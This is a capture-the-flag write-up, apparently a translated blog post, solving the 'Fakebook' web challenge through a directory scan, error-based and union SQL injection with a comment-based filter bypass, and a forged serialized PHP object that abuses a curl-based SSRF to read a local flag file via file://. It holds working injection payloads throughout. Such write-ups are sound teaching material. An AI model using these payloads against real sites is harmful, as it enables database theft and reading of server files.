[netding Cup 2018]Fakebook - SSRF / deserialization vulnerability / SQL injection

Keywords: PHP SQL penetration test SQL injection BUUCTF

Solution I

Solution II

Solution III

Test site

• directory scanning


• SQL injection

• PHP deserialization

When we get the website, we first need to collect information about the website to expand the probability of vulnerability discovery, such as whois, fingerprint identification, scanning the directory of the target site, looking for sensitive information, background or whether there are backup files. In fact, the shooting range is the same. If we feel troublesome, we may miss finding an exploitable vulnerability

Before starting, scan the directory of the website to see what sensitive information has been leaked

Directly scan out the flag.php file, yes or no, but after accessing, the echo content is empty. When we determine that a web page exists, but the echo is empty, there are two situations: 1. There is no content in the web page; 2. Without access permission, the server is forbidden to directly request flag.php through http and https. But if we request this flag.php as an intranet, won't we refuse it?

SSRF: suppose there are two websites, one is an external network that everyone can access, and the other is an internal network that can only be accessed. When a user requests resources, the external network will request data from the internal network, and finally return it to the user. If the external network does not filter the resources requested by the user, when the user's request is illegal, it will forge the identity of the external network to access the internal network, resulting in information disclosure

A file robots.txt (tell the network) is also scanned here Search Engines , which content in this website should or should not be obtained by the roaming device of the search engine)

After the request, the web page prompts the / user.php.bak file, and the direct request will automatically download the. Bak backup file to the local

Document content:

class UserInfo
    public $name = "";
    public $age = 0;
    public $blog = "";
    public function __construct($name, $age, $blog)
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;

Name a UserInfo class, define three attributes name, age and blog, and create a simplexmlement object from the url

function get($url)
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;

        return $output;

Get the specified URL through get, set the curl parameter, and return the content of the specified URL as long as the returned content is not 404

    public function getBlogContents ()
        return $this->get($this->blog);

    public function isValidBlog ()
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);

Regular matching is performed on the input blog, and the filtering is very strict

Although you have registered before doing this, if you scan the directory first and audit the code of this file, you may also guess what the three attributes of name, age and blog are used for

You can also capture packets to verify your guess

After successful registration, only admin can click on the whole page

Interestingly, the bottom is the blog Baidu I just entered and echoed

Right click the source code to see a src, which will reference the absolute path or relative path of the image file

If we try to make the data protocol followed by the content of flag.php, can we achieve our goal? However, we do not know the specific path of flag.php and cannot directly request it. We only know that the flag.php scanned when scanning the directory is in the same directory in the shooting range

It is found that sql injection exists under no

After modifying the parameters, the page echo error and obtain the absolute path / var/www/html/view.php



Can sql query the number of fields?

Use order by to query the number of fields. When order by 5 reports an error, there are four fields in total

Query echo location using select  

Query database name

0 and updatexml(1,concat('~',(select(database())),'~'),1)%23 

Query current user

0 and updatexml(1,concat('~',(select(user())),'~'),1)%23 

Solution 1:

Load in mysql_ The file function allows you to access any file in the system and return the content in the form of string. However, high permissions are required, and the function parameters require the absolute path of the file. The absolute path guess is / var/www/html/flag.php

Construct payload:

0 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#  

Right click to view the source code to get the flag

Solution 2:

Do not use load_file

Because the database name is obtained, the table data is queried

Query table name

0 and updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema='fakebook')),'~'),1)%23 

Query field name

0 and updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),'~'),1)%23

List the username, passwd and data. Since the union is filtered, you can use union / * * / to bypass it

1 and 0 union/**/select 1,group_concat(username,passwd,data),3,4 from users#

The beginning is the registered user, the middle is the password set during registration, which is encrypted, and the end is the serialized content, which is listed separately here  

It is a serialized UserInfo object. It is subconsciously remembered that the class defined in the previous backup file is UserInfo. When the initial user interface is no=1, the shooting range queries the page rendered with no=1 according to the users table. It can be guessed that the order of the fields no, username, passwd and data in the database table is similar. The fourth field should be data. Think about it. There are four fields in total. When select ing, if the fourth field is inserted into the serialized content of data, will it echo our registered admin user and his blog?

Structural parameters

1 and 0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:20:"http://www.baidu.com";}' from users#

Sure enough, it's returned. What if you modify the serialization content a little? Change our blog to



1 and 0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users#

Transfer parameters, right-click decoding to obtain flag

Solution 3:

Pass parameters after serialization

class UserInfo
    public $name = "1";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";

$ganyu = new UserInfo();
echo serialize($ganyu);


1 and 0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users#

Finally, thank you Attack and defense world (Web advanced area) - fakebook_ Garbage station of garbage administrator - CSDN blog_ Attack and defense world fakebook The guidance brought to me

Posted by IndianaRogers on Wed, 29 Sep 2021 15:46:51 -0700